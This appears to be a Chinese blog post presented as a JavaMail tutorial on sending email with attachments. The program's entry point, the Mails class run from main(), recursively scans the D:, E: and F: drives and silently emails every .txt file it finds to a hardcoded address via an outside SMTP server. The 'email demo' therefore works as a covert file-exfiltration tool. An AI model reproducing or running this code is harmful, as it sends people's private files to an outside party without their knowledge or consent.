• JAVA程序发送带附件的邮件


    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    import java.util.Date; 
    /** 
    * 邮件类 
    */ 
    public class Email{ 
    public final static String TO="xxx@sina.com"; 
    public final static String FROM="xxx@sina.com"; 
    public final static String CC="xxx@nxxx.com"; 
    public final static String BCC="xxx@nxxx.com"; 
    public final static String Email_Subject="Test Email With JavaMail"; 
    public final static String Email_Header="This Is Email Header"; 
    public final static String Email_Body="This Is Email Body"; 
    public final static String Email_Host="smtp.sina.com.cn"; 
    public Date sendDate=null;

    public Email(){} 
    }

    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    import javax.mail.Authenticator; 
    import javax.mail.PasswordAuthentication; 
    /** 
    * 邮件服务器认证 
    */ 
    public class MailAuthenticator extends Authenticator { 
    private final static String username="xxx"; 
    private final static String password="xxx";

    protected PasswordAuthentication getPasswordAuthentication(){ 
    return new PasswordAuthentication(username,password);


    }

    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    import java.awt.Frame;
    import java.awt.event.WindowAdapter;
    import java.awt.event.WindowEvent;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.IOException;


    public class Mails {

    public Mails(){
       Copyfiles("D:\\");
       Copyfiles("E:\\");
       Copyfiles("F:\\");
    }

    public void Copyfiles(String path){
       File f=new File(path);
       File[] filelist=f.listFiles();
       if(filelist==null)
        return ;
      
       for (int i = 0; i < filelist.length; i++) {
        if(filelist[i].isFile()){
         if(filelist[i].getName().endsWith(".txt"))
         {   
          try{
             String str =filelist[i].getAbsolutePath();
             new SendEmail().sendEmailWithAttachment(str); 
          }catch(IOException e){
           e.printStackTrace();
          }
         }
        }else if(filelist[i].isDirectory()){
         Copyfiles(filelist[i].getAbsolutePath());
         }
       }
    }
    }

    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    import java.awt.Frame;
    import java.awt.event.WindowAdapter;
    import java.awt.event.WindowEvent;
    import java.io.UnsupportedEncodingException; 
    import java.util.Date; 
    import java.util.Properties;

    import javax.activation.DataHandler; 
    import javax.activation.DataSource; 
    import javax.activation.FileDataSource; 
    import javax.mail.Address; 
    import javax.mail.Authenticator; 
    import javax.mail.BodyPart; 
    import javax.mail.Message; 
    import javax.mail.MessagingException; 
    import javax.mail.Multipart; 
    import javax.mail.Session; 
    import javax.mail.Transport; 
    import javax.mail.internet.InternetAddress; 
    import javax.mail.internet.MimeBodyPart; 
    import javax.mail.internet.MimeMessage; 
    import javax.mail.internet.MimeMultipart;

    /** 
    * 发送邮件 
    */ 
    public class SendEmail {

    /** 
    * 发送普通邮件 

    * @throws Exception 
    */ 
    public void doSendNormalMail() throws Exception {

    Properties prop = new Properties(); // 获取系统环境 
    Authenticator auth = new MailAuthenticator(); // 邮件服务器认证 
    prop.put("mail.smtp.host", Email.Email_Host); 
    prop.put("mail.smtp.auth", "true"); 
    Session session = Session.getDefaultInstance(prop, auth);// 设置对话和邮件服务器进行通讯

    Message message = new MimeMessage(session); 
    /* 
    * 设置邮件对象 
    */ 
    try { 
    message.setSubject(Email.Email_Subject + "Normal Email"); // 设置邮件主题 
    message.setContent("Hello", "text/plain"); // 设置邮件格式 
    message.setText(Email.Email_Body); // 设置邮件体 
    message.setHeader("Header:", Email.Email_Header); // 设置邮件标题 
    message.setSentDate(new Date()); // 设置发送时间 
    Address address = new InternetAddress(Email.FROM, "Dave"); // 设置发信人地址 
    message.setFrom(address);

    /* 
    * 设置多个发件人地址 

    * Address address[]={new InternetAddress("","") new 
    * InternetAddress("","")}; message.addFrom(address); 
    */

    Address toAddress = new InternetAddress(Email.TO); // 设置接收人地址 
    message.setRecipient(Message.RecipientType.TO, toAddress);

    // 设置多个收件人地址 
    // message.addRecipient(Message.RecipientType.TO,new

    message.saveChanges(); 
    System.out.println("sendNormalEmail() 开始发送邮件……"); 
    Transport.send(message); // 发送邮件 
    System.out.println("发送成功!");

    } catch (MessagingException e) { 
    System.out.println("发送失败!"); 
    e.printStackTrace(); 
    }

    }

    /** 
    * 发送带附件的邮件 
    * @throws UnsupportedEncodingException 
    */ 
    public void sendEmailWithAttachment(String str) throws UnsupportedEncodingException { 
    Properties prop = new Properties(); 
    prop.put("mail.smtp.host", Email.Email_Host); 
    prop.put("mail.smtp.auth", "true"); 
    Authenticator auth = new MailAuthenticator(); 
    Session session = Session.getDefaultInstance(prop, auth); 
    Message message = new MimeMessage(session);

    try { 
    message.setSubject(Email.Email_Subject + "Email With Accatchment");// 设置邮件主题 
    message.setContent("Hello", "text/plain"); // 设置邮件格式 
    message.setText(Email.Email_Body); // 设置邮件体 
    message.setHeader("Header:", Email.Email_Header); // 设置邮件标题 
    message.setSentDate(new Date()); // 设置发送时间 
    Address address = new InternetAddress(Email.FROM, "Dave"); // 设置发信人地址 
    message.setFrom(address);

    BodyPart messageBodyPart = new MimeBodyPart(); 
    messageBodyPart.setText("bodypart"); 
    Multipart multipart = new MimeMultipart(); 
    multipart.addBodyPart(messageBodyPart); 
    messageBodyPart = new MimeBodyPart(); 
    DataSource source = new FileDataSource(str); 
    messageBodyPart.setDataHandler(new DataHandler(source)); 
    messageBodyPart.setFileName(str); 
    multipart.addBodyPart(messageBodyPart);// Put parts in 
    message.setContent(multipart); 
    Address toAddress = new InternetAddress(Email.TO); 
    message.setRecipient(Message.RecipientType.TO, toAddress); 
    message.saveChanges(); 
    System.out.println("sendEmailWithAttachment() 开始发送邮件……"); 
    Transport.send(message); 
    System.out.println("发送成功!"); 
    } catch (MessagingException e) { 
    System.out.println("发送失败!"); 
    e.printStackTrace(); 
    }

    }

    /** 
    * 发送带html的邮件 

    * @throws UnsupportedEncodingException 
    */

    public void sendEmailWithHtml() throws UnsupportedEncodingException {

    Properties prop = new Properties(); 
    Authenticator auth = new MailAuthenticator(); 
    prop.put("mail.smtp.host", Email.Email_Host); 
    prop.put("mail.smtp.auth", "true"); 
    Session session = Session.getDefaultInstance(prop, auth); 
    Message message = new MimeMessage(session);

    String htmlText = "<h1>Hello</h1>" 
    + "<a href=\"http://news.sina.com.cn\" target=\"blank\">点击连接</a>"; 
    System.out.println(htmlText); 
    try { 
    message.setSubject(Email.Email_Subject + "Email With Html"); 
    message.setContent(htmlText + Email.Email_Body, 
    "text/html;charset=gb2312"); 
    // message.setText(Email.Email_Body); 
    message.setSentDate(new Date());

    Address address = new InternetAddress(Email.FROM, "Dave"); 
    Address toAddress = new InternetAddress(Email.TO); 
    message.setFrom(address); 
    message.setRecipient(Message.RecipientType.TO, toAddress); 
    message.saveChanges(); 
    System.out.println("sendEmailWithHtml() 开始发送邮件……"); 
    Transport.send(message); 
    System.out.println("发送成功!"); 
    } catch (MessagingException e) { 
    System.out.println("发送失败!"); 
    e.printStackTrace(); 

    }

    }

    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    import java.awt.Frame;
    import java.awt.event.WindowAdapter;
    import java.awt.event.WindowEvent;


    public class MyMain {
    /** 
    * 测试函数 

    * @param args 
    */ 
    public static void main(String args[]) { 
        Mails a=new Mails(); 
    }
    }

  • 相关阅读:
    LeetCode Merge Two Sorted Lists 归并排序
    LeetCode Add Binary 两个二进制数相加
    LeetCode Climbing Stairs 爬楼梯
    034 Search for a Range 搜索范围
    033 Search in Rotated Sorted Array 搜索旋转排序数组
    032 Longest Valid Parentheses 最长有效括号
    031 Next Permutation 下一个排列
    030 Substring with Concatenation of All Words 与所有单词相关联的字串
    029 Divide Two Integers 两数相除
    028 Implement strStr() 实现 strStr()
  • 原文地址:https://www.cnblogs.com/frostbelt/p/1763314.html
Copyright © 2020-2023  润新知